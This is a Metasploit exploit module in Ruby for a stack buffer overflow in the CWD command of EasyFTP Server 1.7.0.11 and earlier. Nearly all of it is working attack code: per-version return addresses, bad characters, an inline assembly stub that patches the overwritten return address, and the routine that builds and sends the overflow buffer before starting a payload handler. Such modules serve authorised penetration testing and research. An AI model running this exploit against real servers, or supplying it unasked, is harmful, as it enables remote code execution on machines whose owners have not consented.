1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Remote
7
  Rank = GreatRanking
8

9
  include Msf::Exploit::Remote::Ftp
10

11
  def initialize(info = {})
12
    super(
13
      update_info(
14
        info,
15
        'Name' => 'EasyFTP Server CWD Command Stack Buffer Overflow',
16
        'Description' => %q{
17
          This module exploits a stack-based buffer overflow in EasyFTP Server 1.7.0.11
18
          and earlier. EasyFTP fails to check input size when parsing 'CWD' commands, which
19
          leads to a stack based buffer overflow.  EasyFTP allows anonymous access by
20
          default; valid credentials are typically unnecessary to exploit this vulnerability.
21

22
          After version 1.7.0.12, this package was renamed "UplusFtp".
23

24
          This exploit utilizes a small piece of code that I\'ve referred to as 'fixRet'.
25
          This code allows us to inject of payload of ~500 bytes into a 264 byte buffer by
26
          'fixing' the return address post-exploitation.  See references for more information.
27
        },
28
        'Author' => [
29
          'Paul Makowski <my.hndl[at]gmail.com>', # original version
30
          'jduck' # various fixes, remove most hardcoded addresses
31
        ],
32
        'License' => MSF_LICENSE,
33
        'References' => [
34
          [ 'OSVDB', '62134' ],
35
          [ 'BID', '38262' ],
36
          [ 'URL', 'http://paulmakowski.wordpress.com/2010/02/28/increasing-payload-size-w-return-address-overwrite/' ],
37
          [ 'URL', 'http://paulmakowski.wordpress.com/2010/04/19/metasploit-plugin-for-easyftp-server-exploit' ],
38
          [ 'URL', 'https://seclists.org/bugtraq/2010/Feb/202' ]
39
        ],
40
        'Privileged' => false,
41
        'Payload' => {
42
          # Total bytes able to write without crashing program (505) - length of fixRet (25) - slack space (30) = 450
43
          'Space' => 505 - 30 - 25,
44
          'BadChars' => "\x00\x0a\x2f\x5c", # from: http://downloads.securityfocus.com/vulnerabilities/exploits/38262-1.py
45
          'DisableNops' => true
46
        },
47
        'Platform'	=> 'win',
48
        'Targets' => [
49
          [ 'Windows Universal - v1.7.0.2', { 'Ret' => 0x00404121 } ], # call edi - from ftpbasicsvr.exe
50
          [ 'Windows Universal - v1.7.0.3', { 'Ret' => 0x00404121 } ], # call edi - from ftpbasicsvr.exe
51
          [ 'Windows Universal - v1.7.0.4', { 'Ret' => 0x00404111 } ], # call edi - from ftpbasicsvr.exe
52
          [ 'Windows Universal - v1.7.0.5', { 'Ret' => 0x004040ea } ], # call edi - from ftpbasicsvr.exe
53
          [ 'Windows Universal - v1.7.0.6', { 'Ret' => 0x004040ea } ], # call edi - from ftpbasicsvr.exe
54
          [ 'Windows Universal - v1.7.0.7', { 'Ret' => 0x004040ea } ], # call edi - from ftpbasicsvr.exe
55
          [ 'Windows Universal - v1.7.0.8', { 'Ret' => 0x004043ca } ], # call edi - from ftpbasicsvr.exe
56
          [ 'Windows Universal - v1.7.0.9', { 'Ret' => 0x0040438a } ], # call edi - from ftpbasicsvr.exe
57
          [ 'Windows Universal - v1.7.0.10', { 'Ret' => 0x0040435a } ], # call edi - from ftpbasicsvr.exe
58
          [ 'Windows Universal - v1.7.0.11', { 'Ret' => 0x0040435a } ], # call edi - from ftpbasicsvr.exe
59
        ],
60
        'DisclosureDate' => '2010-02-16',
61
        'DefaultTarget' => 0,
62
        'Notes' => {
63
          'Reliability' => UNKNOWN_RELIABILITY,
64
          'Stability' => UNKNOWN_STABILITY,
65
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
66
        }
67
      )
68
    )
69
  end
70

71
  def check
72
    connect
73
    disconnect
74

75
    if (banner =~ /BigFoolCat/) # EasyFTP Server has undergone several name changes
76
      return Exploit::CheckCode::Detected
77
    end
78

79
    return Exploit::CheckCode::Safe
80
  end
81

82
  def exploit
83
    connect_login
84

85
    # If the payload's length is larger than 233 bytes then the payload must be bisected with the return address and later patched.
86
    # Explanation of technique: http://paulmakowski.wordpress.com/2010/02/28/increasing-payload-size-w-return-address-overwrite/
87

88
    # NOTE:
89
    # This exploit jumps to edi, which happens to point at a partial version of
90
    # the 'buf' string in memory. The fixRet below fixes up the code stored on the
91
    # stack and then jumps there to execute the payload. The value in esp is used
92
    # with an offset for the fixup.
93
    fixRet_asm = %q{
94
      mov ecx, 0xdeadbeef
95
      mov edi, esp
96
      sub edi, 0xfffffe14
97
      mov [edi], ecx
98
      add edi, 0xffffff14
99
      jmp edi
100
    }
101
    fixRet = Metasm::Shellcode.assemble(Metasm::Ia32.new, fixRet_asm).encode_string
102

103
    buf = ''
104

105
    print_status("Prepending fixRet...")
106
    buf << fixRet
107
    buf << make_nops(0x20 - buf.length)
108
    # buf << "C" * (0x20 - buf.length)
109

110
    print_status("Adding the payload...")
111
    buf << payload.encoded
112

113
    # Backup the original return address bytes
114
    buf[1, 4] = buf[268, 4]
115

116
    print_status("Overwriting part of the payload with target address...")
117
    buf[268, 4] = [target.ret].pack('V') # put return address @ 268 bytes
118

119
    # NOTE: SEH head at offset 256 also gets smashed. That is, it becomes what is at fs:[0] ..
120

121
    print_status("Sending exploit buffer...")
122
    send_cmd(['CWD', buf], false) # this will automatically put a space between 'CWD' and our attack string
123

124
    handler
125
    disconnect
126
  end
127
end
128

129